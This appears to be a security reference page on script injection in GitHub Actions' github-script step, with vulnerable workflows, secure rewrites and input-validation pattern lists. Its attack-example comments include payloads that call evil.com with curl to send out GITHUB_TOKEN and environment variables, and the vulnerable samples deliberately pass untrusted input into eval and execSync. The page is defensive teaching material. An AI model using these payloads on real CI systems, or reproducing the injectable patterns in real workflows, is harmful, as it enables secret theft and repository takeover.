Remote code execution (RCE) via untrusted github context in actions/github-script script step

Critical Risk command-injection
github-actionsyamlrcegithub-scriptcode-injectionworkflowci-cd

What it is

A critical security vulnerability where untrusted github context values are interpolated into the script: block, turning user-controlled strings into executable JavaScript code. Remote code execution (RCE) on the Actions runner, enabling secret exfiltration, repository modification, and workflow takeover.

# VULNERABLE: GitHub Actions workflow with script injection
name: Vulnerable Issue and PR Handler

on:
  issues:
    types: [opened, edited, labeled]
  pull_request:
    types: [opened, edited, synchronize]
  issue_comment:
    types: [created]

jobs:
  process-issue:
    runs-on: ubuntu-latest
    if: github.event_name == 'issues'
    steps:
      - uses: actions/checkout@v3
      
      - name: Process Issue
        uses: actions/github-script@v6
        with:
          # VULNERABLE: Direct interpolation of user input
          script: |
            const title = '${{ github.event.issue.title }}';
            const body = '${{ github.event.issue.body }}';
            const author = '${{ github.event.issue.user.login }}';
            const labels = '${{ github.event.issue.labels }}';
            
            console.log('Processing issue: ' + title);
            console.log('Author: ' + author);
            console.log('Body length: ' + body.length);
            
            // DANGEROUS: User input becomes executable
            eval('console.log("Issue type: " + title.split(" ")[0])');

  process-pr:
    runs-on: ubuntu-latest
    if: github.event_name == 'pull_request'
    steps:
      - uses: actions/checkout@v3
      
      - name: Analyze PR
        uses: actions/github-script@v6
        with:
          # VULNERABLE: PR data in script execution
          script: |
            const prTitle = '${{ github.event.pull_request.title }}';
            const prBody = '${{ github.event.pull_request.body }}';
            const headRef = '${{ github.head_ref }}';
            const baseRef = '${{ github.base_ref }}';
            const commitMessage = '${{ github.event.head_commit.message }}';
            
            // DANGEROUS: All user-controlled data
            console.log(`Analyzing PR: ${prTitle}`);
            console.log(`Branch: ${headRef} -> ${baseRef}`);
            console.log(`Last commit: ${commitMessage}`);
            
            // EXTREMELY DANGEROUS: Dynamic evaluation
            const analysis = eval(`({
              title: "${prTitle}",
              branch: "${headRef}",
              isFeature: "${prTitle}".toLowerCase().includes("feature")
            })`);
            
            console.log('Analysis:', analysis);

  process-comment:
    runs-on: ubuntu-latest
    if: github.event_name == 'issue_comment'
    steps:
      - name: Handle Comment
        uses: actions/github-script@v6
        with:
          # VULNERABLE: Comment body interpolation
          script: |
            const comment = '${{ github.event.comment.body }}';
            const commenter = '${{ github.event.comment.user.login }}';
            
            console.log('Comment from ' + commenter + ': ' + comment);
            
            // DANGEROUS: Command execution based on comment
            if (comment.includes('/deploy')) {
              const deployCommand = comment.replace('/deploy', '').trim();
              console.log('Deployment command: ' + deployCommand);
              
              // This could execute arbitrary code
              eval('console.log("Deploying: " + deployCommand)');
            }

  vulnerable-file-processing:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Process Changed Files
        uses: actions/github-script@v6
        with:
          # VULNERABLE: File names and content in script
          script: |
            const { execSync } = require('child_process');
            
            // DANGEROUS: File paths from git diff
            const changedFiles = '${{ steps.changed-files.outputs.all_changed_files }}';
            
            console.log('Processing files: ' + changedFiles);
            
            // EXTREMELY DANGEROUS: Command injection
            const command = `echo "Processing: ${changedFiles}"`;
            execSync(command, { stdio: 'inherit' });

# Attack examples that would work:
# Issue title: "Bug Report"; require('child_process').exec('curl https://evil.com/steal?token=' + process.env.GITHUB_TOKEN); //
# PR title: "Feature'; process.exit(1); console.log('"
# Comment: "/deploy production'; require('fs').writeFileSync('malicious.js', 'console.log(process.env)'); //"
# Branch name: "feature/test'; console.log(process.env.GITHUB_TOKEN); //"
# Commit message: "Fix bug'; require('child_process').spawn('curl', ['evil.com/exfiltrate', '-d', JSON.stringify(process.env)]); //"
# SECURE: GitHub Actions workflow without script injection
name: Secure Issue and PR Handler

on:
  issues:
    types: [opened, edited, labeled]
  pull_request:
    types: [opened, edited, synchronize]
  issue_comment:
    types: [created]

jobs:
  validate-input:
    runs-on: ubuntu-latest
    outputs:
      validation-passed: ${{ steps.validate.outputs.validation-passed }}
      event-type: ${{ steps.validate.outputs.event-type }}
    steps:
      - name: Validate Event Data
        id: validate
        uses: actions/github-script@v6
        env:
          # SECURE: Pass data via environment variables
          ISSUE_TITLE: ${{ github.event.issue.title }}
          ISSUE_BODY: ${{ github.event.issue.body }}
          PR_TITLE: ${{ github.event.pull_request.title }}
          PR_BODY: ${{ github.event.pull_request.body }}
          COMMENT_BODY: ${{ github.event.comment.body }}
          HEAD_REF: ${{ github.head_ref }}
          BASE_REF: ${{ github.base_ref }}
          COMMIT_MESSAGE: ${{ github.event.head_commit.message }}
        with:
          script: |
            // SECURE: Comprehensive input validation
            function validateString(input, maxLength = 500, name = 'input') {
              if (!input) return { valid: true, sanitized: null };
              
              if (typeof input !== 'string') {
                console.log(`${name}: Invalid type (not string)`);
                return { valid: false, error: 'Must be string' };
              }
              
              if (input.length > maxLength) {
                console.log(`${name}: Too long (${input.length} > ${maxLength})`);
                return { valid: false, error: 'Too long' };
              }
              
              // Check for injection patterns
              const dangerousPatterns = [
                /[<>"'`]/,                           // HTML/JS injection
                /\$\{.*\}/,                          // Template literals
                /(require|process|eval|Function)\s*[\.(]/,  // JS globals
                /;\s*\w+\s*[=\(]/,                   // Statement injection
                /\\[rn]/,                           // Encoded newlines
                /[\x00-\x1f\x7f]/,                   // Control characters
                /javascript:|data:|vbscript:/i,      // URL schemes
                /on\w+\s*=/i                         // Event handlers
              ];
              
              for (const pattern of dangerousPatterns) {
                if (pattern.test(input)) {
                  console.log(`${name}: Contains dangerous pattern`);
                  return { valid: false, error: 'Contains dangerous patterns' };
                }
              }
              
              // Sanitize for safe usage
              const sanitized = input
                .replace(/[\r\n]+/g, ' ')    // Replace newlines with spaces
                .replace(/\s+/g, ' ')        // Normalize whitespace
                .trim();
              
              return { valid: true, sanitized };
            }
            
            // Validate all inputs
            const validations = {
              issueTitle: validateString(process.env.ISSUE_TITLE, 300, 'issue title'),
              issueBody: validateString(process.env.ISSUE_BODY, 10000, 'issue body'),
              prTitle: validateString(process.env.PR_TITLE, 300, 'PR title'),
              prBody: validateString(process.env.PR_BODY, 10000, 'PR body'),
              commentBody: validateString(process.env.COMMENT_BODY, 2000, 'comment'),
              headRef: validateString(process.env.HEAD_REF, 100, 'head ref'),
              baseRef: validateString(process.env.BASE_REF, 100, 'base ref'),
              commitMessage: validateString(process.env.COMMIT_MESSAGE, 1000, 'commit message')
            };
            
            // Check if all validations passed
            const allValid = Object.values(validations).every(v => v.valid);
            
            if (!allValid) {
              console.log('Validation failed for one or more inputs');
              core.setFailed('Input validation failed - potential security risk');
              return;
            }
            
            // Determine event type safely
            const eventType = context.eventName;
            
            // Set outputs
            core.setOutput('validation-passed', 'true');
            core.setOutput('event-type', eventType);
            
            console.log('All inputs validated successfully');
            console.log('Event type:', eventType);

  process-issue:
    needs: validate-input
    runs-on: ubuntu-latest
    if: needs.validate-input.outputs.validation-passed == 'true' && github.event_name == 'issues'
    steps:
      - name: Process Issue Safely
        uses: actions/github-script@v6
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
          ISSUE_BODY: ${{ github.event.issue.body }}
          AUTHOR: ${{ github.event.issue.user.login }}
          ACTION: ${{ github.event.action }}
        with:
          script: |
            // SECURE: Read from environment, treat as data
            const issueTitle = process.env.ISSUE_TITLE;
            const issueBody = process.env.ISSUE_BODY;
            const author = process.env.AUTHOR;
            const action = process.env.ACTION;
            
            console.log('Processing issue event');
            console.log('Action:', action);
            console.log('Author:', author);
            
            if (issueTitle) {
              // Safe string processing
              const titleAnalysis = {
                length: issueTitle.length,
                wordCount: issueTitle.split(/\s+/).length,
                isBug: issueTitle.toLowerCase().includes('bug'),
                isFeature: issueTitle.toLowerCase().includes('feature'),
                isQuestion: issueTitle.toLowerCase().includes('question'),
                hasTicketRef: /\[#\d+\]/.test(issueTitle)
              };
              
              console.log('Title analysis:', titleAnalysis);
              
              // Categorize issue
              const labels = [];
              if (titleAnalysis.isBug) labels.push('bug');
              if (titleAnalysis.isFeature) labels.push('enhancement');
              if (titleAnalysis.isQuestion) labels.push('question');
              
              console.log('Suggested labels:', labels);
            }
            
            if (issueBody) {
              const bodyAnalysis = {
                length: issueBody.length,
                lines: issueBody.split('\n').length,
                hasTemplate: issueBody.includes('## ') || issueBody.includes('### '),
                hasCodeBlock: issueBody.includes('```'),
                hasLinks: issueBody.includes('http')
              };
              
              console.log('Body analysis:', bodyAnalysis);
            }

  process-pr:
    needs: validate-input
    runs-on: ubuntu-latest
    if: needs.validate-input.outputs.validation-passed == 'true' && github.event_name == 'pull_request'
    steps:
      - uses: actions/checkout@v3
      
      - name: Analyze PR Safely
        uses: actions/github-script@v6
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
          PR_BODY: ${{ github.event.pull_request.body }}
          HEAD_REF: ${{ github.head_ref }}
          BASE_REF: ${{ github.base_ref }}
          AUTHOR: ${{ github.event.pull_request.user.login }}
        with:
          script: |
            // SECURE: Environment variable access
            const prTitle = process.env.PR_TITLE;
            const prBody = process.env.PR_BODY;
            const headRef = process.env.HEAD_REF;
            const baseRef = process.env.BASE_REF;
            const author = process.env.AUTHOR;
            
            console.log('Analyzing PR');
            console.log('Author:', author);
            console.log('Branch:', headRef, '->', baseRef);
            
            if (prTitle) {
              const prAnalysis = {
                titleLength: prTitle.length,
                type: prTitle.toLowerCase().startsWith('fix') ? 'bugfix' : 
                      prTitle.toLowerCase().startsWith('feat') ? 'feature' : 'other',
                hasTicketRef: /\[#\d+\]|#\d+/.test(prTitle),
                isBreaking: prTitle.includes('BREAKING') || prTitle.includes('!'),
                scope: (() => {
                  const match = prTitle.match(/^\w+\(([^)]+)\):/);
                  return match ? match[1] : null;
                })()
              };
              
              console.log('PR analysis:', prAnalysis);
              
              // Suggest reviewers based on type
              const suggestedReviewers = [];
              if (prAnalysis.type === 'bugfix') suggestedReviewers.push('maintainer');
              if (prAnalysis.isBreaking) suggestedReviewers.push('senior-dev');
              
              console.log('Suggested reviewers:', suggestedReviewers);
            }

  process-comment:
    needs: validate-input
    runs-on: ubuntu-latest
    if: needs.validate-input.outputs.validation-passed == 'true' && github.event_name == 'issue_comment'
    steps:
      - name: Handle Comment Safely
        uses: actions/github-script@v6
        env:
          COMMENT_BODY: ${{ github.event.comment.body }}
          COMMENTER: ${{ github.event.comment.user.login }}
          ISSUE_NUMBER: ${{ github.event.issue.number }}
        with:
          script: |
            // SECURE: Safe comment processing
            const commentBody = process.env.COMMENT_BODY;
            const commenter = process.env.COMMENTER;
            const issueNumber = process.env.ISSUE_NUMBER;
            
            console.log('Processing comment');
            console.log('Commenter:', commenter);
            console.log('Issue #:', issueNumber);
            
            if (commentBody) {
              // Safe command detection
              const commands = {
                isCommand: commentBody.trim().startsWith('/'),
                isApproval: /\/(approve|lgtm)\s*$/i.test(commentBody),
                isRequest: /\/(please|help)\s/i.test(commentBody),
                isQuestion: commentBody.includes('?'),
                mentionsBot: commentBody.includes('@bot')
              };
              
              console.log('Comment analysis:', commands);
              
              // Safe response based on analysis
              if (commands.isCommand && commands.isApproval) {
                console.log('Approval command detected');
                // Safe action: just log, don't execute
              }
              
              if (commands.isQuestion) {
                console.log('Question detected - may need response');
              }
            }

  security-audit:
    runs-on: ubuntu-latest
    if: always()
    steps:
      - name: Security Audit
        uses: actions/github-script@v6
        with:
          script: |
            // Security audit log
            const audit = {
              workflow: 'secure-issue-pr-handler',
              timestamp: new Date().toISOString(),
              event: context.eventName,
              actor: context.actor,
              repository: `${context.repo.owner}/${context.repo.repo}`,
              runId: context.runId,
              securityMeasures: [
                'Input validation implemented',
                'No direct string interpolation in scripts',
                'Environment variables used for data passing',
                'Dangerous pattern detection active',
                'All user inputs sanitized',
                'Execution gated by validation results'
              ]
            };
            
            console.log('=== SECURITY AUDIT ===');
            console.log(JSON.stringify(audit, null, 2));
            console.log('=== END AUDIT ===');
            
            // Additional security checks
            const envVars = Object.keys(process.env).filter(key => 
              key.startsWith('GITHUB_') || key.startsWith('RUNNER_')
            );
            
            console.log('GitHub environment variables present:', envVars.length);
            console.log('Workflow executed securely without code injection risks');

💡 Why This Fix Works

The vulnerable workflow uses direct string interpolation of GitHub context data in script blocks, allowing code injection through issue titles, PR descriptions, comments, and other user-controlled fields. The secure version eliminates direct interpolation, uses environment variables for data passing, implements comprehensive input validation, and treats all user data as strings rather than executable code.

Why it happens

Using github context variables directly in the script: block of actions/github-script allows injection of arbitrary JavaScript code. Context values like issue titles, PR descriptions, and commit messages can contain malicious code.

Root causes

GitHub Context Interpolation in Script Block

Using github context variables directly in the script: block of actions/github-script allows injection of arbitrary JavaScript code. Context values like issue titles, PR descriptions, and commit messages can contain malicious code.

Preview example – YAML
name: Vulnerable Workflow
on:
  issues:
    types: [opened]
  pull_request:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/github-script@v6
        with:
          # VULNERABLE: Direct interpolation of user input
          script: |
            console.log('Processing issue: ${{ github.event.issue.title }}');
            console.log('Author: ${{ github.event.issue.user.login }}');
            
            // DANGEROUS: User input becomes executable code
            const description = '${{ github.event.issue.body }}';
            
# Attack example:
# Issue title: "Test'; process.exit(1); console.log('"
# Results in: console.log('Processing issue: Test'); process.exit(1); console.log('');

Pull Request Data in Script Execution

Interpolating pull request titles, branch names, commit messages, or file contents into github-script blocks enables code injection through these user-controlled fields.

Preview example – YAML
name: PR Analysis
on:
  pull_request:
    types: [opened, edited]

jobs:
  analyze:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/github-script@v6
        with:
          # VULNERABLE: PR data in script
          script: |
            const title = '${{ github.event.pull_request.title }}';
            const branch = '${{ github.head_ref }}';
            const message = '${{ github.event.head_commit.message }}';
            
            // DANGEROUS: Executable in script context
            console.log(`Analyzing PR: ${title}`);
            console.log(`Branch: ${branch}`);
            
# Attack examples:
# PR title: "Fix bug'; require('child_process').exec('curl evil.com/steal-secrets'); //"
# Branch name: "feature'; process.env.GITHUB_TOKEN; //"
# Commit message: "Update'; console.log(process.env); //"

Fixes

1

Use Environment Variables and core.getInput()

Pass untrusted data through environment variables or with: inputs instead of direct interpolation. Access the data using process.env or core.getInput() within the script to treat it as data, not code.

View implementation – YAML
name: Secure Workflow
on:
  issues:
    types: [opened]
  pull_request:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/github-script@v6
        env:
          # SECURE: Pass data via environment variables
          ISSUE_TITLE: ${{ github.event.issue.title }}
          ISSUE_BODY: ${{ github.event.issue.body }}
          AUTHOR_LOGIN: ${{ github.event.issue.user.login }}
          PR_TITLE: ${{ github.event.pull_request.title }}
        with:
          # SECURE: Access data from environment, not interpolation
          script: |
            const issueTitle = process.env.ISSUE_TITLE;
            const issueBody = process.env.ISSUE_BODY;
            const authorLogin = process.env.AUTHOR_LOGIN;
            const prTitle = process.env.PR_TITLE;
            
            // Safe to use - treated as data, not code
            console.log('Processing issue:', issueTitle);
            console.log('Author:', authorLogin);
            
            if (issueBody) {
              const bodyLength = issueBody.length;
              console.log('Issue body length:', bodyLength);
            }
            
            if (prTitle) {
              console.log('PR title:', prTitle);
            }
      
      - uses: actions/github-script@v6
        with:
          # SECURE: Use with: inputs for parameters
          script: |
            const title = core.getInput('title');
            const description = core.getInput('description');
            
            // Process safely as string data
            if (title && title.length > 0) {
              console.log('Title length:', title.length);
              console.log('Contains keywords:', 
                title.toLowerCase().includes('bug') ||
                title.toLowerCase().includes('feature')
              );
            }
        with:
          title: ${{ github.event.issue.title }}
          description: ${{ github.event.issue.body }}
2

Implement Input Validation and Sanitization

Validate all github context data before use. Implement checks for string length, character patterns, and content validation to prevent malicious payloads.

View implementation – YAML
name: Validated Workflow
on:
  issues:
    types: [opened, edited]
  pull_request:
    types: [opened, edited]

jobs:
  validate-and-process:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/github-script@v6
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
          ISSUE_BODY: ${{ github.event.issue.body }}
          PR_TITLE: ${{ github.event.pull_request.title }}
          HEAD_REF: ${{ github.head_ref }}
        with:
          script: |
            // SECURE: Input validation functions
            function validateInput(input, maxLength = 500, allowedChars = /^[a-zA-Z0-9\s.,!?\-_()\[\]]+$/) {
              if (!input || typeof input !== 'string') {
                return { valid: false, error: 'Input must be a non-empty string' };
              }
              
              if (input.length > maxLength) {
                return { valid: false, error: `Input too long (max ${maxLength} characters)` };
              }
              
              if (!allowedChars.test(input)) {
                return { valid: false, error: 'Input contains invalid characters' };
              }
              
              // Check for potential code injection patterns
              const dangerousPatterns = [
                /require\s*\(/,
                /process\s*\./,
                /console\s*\./,
                /eval\s*\(/,
                /Function\s*\(/,
                /\$\{.*\}/,
                /`;.*`/,
                /';.*'/
              ];
              
              for (const pattern of dangerousPatterns) {
                if (pattern.test(input)) {
                  return { valid: false, error: 'Input contains suspicious patterns' };
                }
              }
              
              return { valid: true, sanitized: input.trim() };
            }
            
            function sanitizeForLogging(input) {
              if (!input) return 'N/A';
              
              // Remove or escape potentially dangerous characters
              return input
                .replace(/[<>"'&]/g, '') // Remove HTML/script chars
                .replace(/\n/g, ' ')      // Replace newlines
                .replace(/\s+/g, ' ')     // Normalize whitespace
                .substring(0, 200);      // Limit length
            }
            
            // Process inputs safely
            const issueTitle = process.env.ISSUE_TITLE;
            const issueBody = process.env.ISSUE_BODY;
            const prTitle = process.env.PR_TITLE;
            const headRef = process.env.HEAD_REF;
            
            console.log('=== Processing GitHub Event ===');
            
            // Validate and process issue title
            if (issueTitle) {
              const validation = validateInput(issueTitle, 300);
              if (validation.valid) {
                console.log('Issue title:', sanitizeForLogging(validation.sanitized));
                
                // Safe processing
                const isFeatureRequest = validation.sanitized.toLowerCase().includes('feature');
                const isBugReport = validation.sanitized.toLowerCase().includes('bug');
                
                console.log('Type analysis:', { isFeatureRequest, isBugReport });
              } else {
                console.log('Invalid issue title:', validation.error);
                process.exit(1);
              }
            }
            
            // Validate and process PR title
            if (prTitle) {
              const validation = validateInput(prTitle, 300);
              if (validation.valid) {
                console.log('PR title:', sanitizeForLogging(validation.sanitized));
              } else {
                console.log('Invalid PR title:', validation.error);
                process.exit(1);
              }
            }
            
            // Validate branch name
            if (headRef) {
              const branchValidation = validateInput(headRef, 100, /^[a-zA-Z0-9\-_\/]+$/);
              if (branchValidation.valid) {
                console.log('Branch:', branchValidation.sanitized);
              } else {
                console.log('Invalid branch name:', branchValidation.error);
                process.exit(1);
              }
            }
            
            // Validate issue body (if present)
            if (issueBody) {
              const bodyValidation = validateInput(issueBody, 5000, /^[\s\S]*$/);
              if (bodyValidation.valid) {
                const wordCount = bodyValidation.sanitized.split(/\s+/).length;
                const lineCount = bodyValidation.sanitized.split('\n').length;
                
                console.log('Issue body stats:', {
                  characters: bodyValidation.sanitized.length,
                  words: wordCount,
                  lines: lineCount
                });
              } else {
                console.log('Invalid issue body:', bodyValidation.error);
              }
            }
            
            console.log('Processing completed successfully');
3

Use Separate Action Steps for Data Processing

Break down workflows into separate steps with explicit data passing. Use intermediate files or step outputs to pass validated data between steps instead of direct interpolation.

View implementation – YAML
name: Secure Multi-Step Workflow
on:
  issues:
    types: [opened]
  pull_request:
    types: [opened]

jobs:
  validate-input:
    runs-on: ubuntu-latest
    outputs:
      issue-title-valid: ${{ steps.validate.outputs.issue-title-valid }}
      pr-title-valid: ${{ steps.validate.outputs.pr-title-valid }}
      validation-passed: ${{ steps.validate.outputs.validation-passed }}
    steps:
      - name: Validate Input Data
        id: validate
        uses: actions/github-script@v6
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
          PR_TITLE: ${{ github.event.pull_request.title }}
          ISSUE_BODY: ${{ github.event.issue.body }}
        with:
          script: |
            // SECURE: Validation step with outputs
            function isValidString(str, maxLength = 300) {
              if (!str || typeof str !== 'string') return false;
              if (str.length > maxLength) return false;
              
              // Check for dangerous patterns
              const dangerousPatterns = [
                /[<>"'`]/,                    // Script injection chars
                /\$\{/,                       // Template literals
                /(require|process|console)\s*[\.(]/,  // Node.js globals
                /;\s*(\w+\s*=|\w+\s*\()/,     // Statement injection
                /\\[rn]/                     // Encoded newlines
              ];
              
              return !dangerousPatterns.some(pattern => pattern.test(str));
            }
            
            const issueTitle = process.env.ISSUE_TITLE;
            const prTitle = process.env.PR_TITLE;
            const issueBody = process.env.ISSUE_BODY;
            
            const issueTitleValid = issueTitle ? isValidString(issueTitle) : true;
            const prTitleValid = prTitle ? isValidString(prTitle) : true;
            const issueBodyValid = issueBody ? isValidString(issueBody, 5000) : true;
            
            const validationPassed = issueTitleValid && prTitleValid && issueBodyValid;
            
            // Set outputs for next job
            core.setOutput('issue-title-valid', issueTitleValid);
            core.setOutput('pr-title-valid', prTitleValid);
            core.setOutput('validation-passed', validationPassed);
            
            console.log('Validation results:', {
              issueTitleValid,
              prTitleValid,
              issueBodyValid,
              validationPassed
            });
            
            if (!validationPassed) {
              core.setFailed('Input validation failed - potential security risk detected');
            }
  
  process-data:
    needs: validate-input
    runs-on: ubuntu-latest
    if: needs.validate-input.outputs.validation-passed == 'true'
    steps:
      - name: Write Validated Data to File
        uses: actions/github-script@v6
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
          PR_TITLE: ${{ github.event.pull_request.title }}
          ISSUE_BODY: ${{ github.event.issue.body }}
          AUTHOR: ${{ github.event.issue.user.login || github.event.pull_request.user.login }}
        with:
          script: |
            const fs = require('fs');
            
            // SECURE: Create structured data file
            const eventData = {
              type: process.env.GITHUB_EVENT_NAME,
              author: process.env.AUTHOR,
              timestamp: new Date().toISOString(),
              data: {
                issueTitle: process.env.ISSUE_TITLE || null,
                prTitle: process.env.PR_TITLE || null,
                bodyLength: process.env.ISSUE_BODY ? process.env.ISSUE_BODY.length : 0
              }
            };
            
            // Write to file for processing
            fs.writeFileSync('event-data.json', JSON.stringify(eventData, null, 2));
            console.log('Event data written to file');
      
      - name: Process Event Data
        uses: actions/github-script@v6
        with:
          script: |
            const fs = require('fs');
            
            // SECURE: Read from file instead of direct interpolation
            const eventData = JSON.parse(fs.readFileSync('event-data.json', 'utf8'));
            
            console.log('Processing event:', eventData.type);
            console.log('Author:', eventData.author);
            console.log('Timestamp:', eventData.timestamp);
            
            // Safe processing of validated data
            if (eventData.data.issueTitle) {
              const title = eventData.data.issueTitle;
              const categories = [];
              
              if (title.toLowerCase().includes('bug')) categories.push('bug');
              if (title.toLowerCase().includes('feature')) categories.push('enhancement');
              if (title.toLowerCase().includes('doc')) categories.push('documentation');
              
              console.log('Issue categories:', categories);
              
              // Create a safe summary
              const summary = {
                titleLength: title.length,
                categories,
                priority: categories.includes('bug') ? 'high' : 'normal'
              };
              
              fs.writeFileSync('issue-summary.json', JSON.stringify(summary, null, 2));
            }
            
            if (eventData.data.prTitle) {
              const title = eventData.data.prTitle;
              const analysis = {
                titleLength: title.length,
                type: title.toLowerCase().startsWith('fix') ? 'bugfix' : 'feature',
                hasTicketRef: /\[#\d+\]/.test(title)
              };
              
              console.log('PR analysis:', analysis);
              fs.writeFileSync('pr-analysis.json', JSON.stringify(analysis, null, 2));
            }
            
            console.log('Processing completed safely');
      
      - name: Upload Results
        uses: actions/upload-artifact@v3
        with:
          name: analysis-results
          path: |
            event-data.json
            issue-summary.json
            pr-analysis.json
  
  security-check:
    runs-on: ubuntu-latest
    if: always()
    steps:
      - name: Security Audit Log
        uses: actions/github-script@v6
        with:
          script: |
            const auditLog = {
              workflow: 'secure-multi-step-workflow',
              timestamp: new Date().toISOString(),
              event: context.eventName,
              actor: context.actor,
              repository: context.repo,
              runId: context.runId,
              runNumber: context.runNumber,
              securityMeasures: [
                'Input validation performed',
                'No direct interpolation used',
                'Data passed via environment variables',
                'File-based data transfer used',
                'Validation job gates processing'
              ]
            };
            
            console.log('Security audit:', JSON.stringify(auditLog, null, 2));
            console.log('Workflow executed with security best practices');

Detect This Vulnerability in Your Code

Sourcery automatically identifies remote code execution (rce) via untrusted github context in actions/github-script script step and many other security issues in your codebase.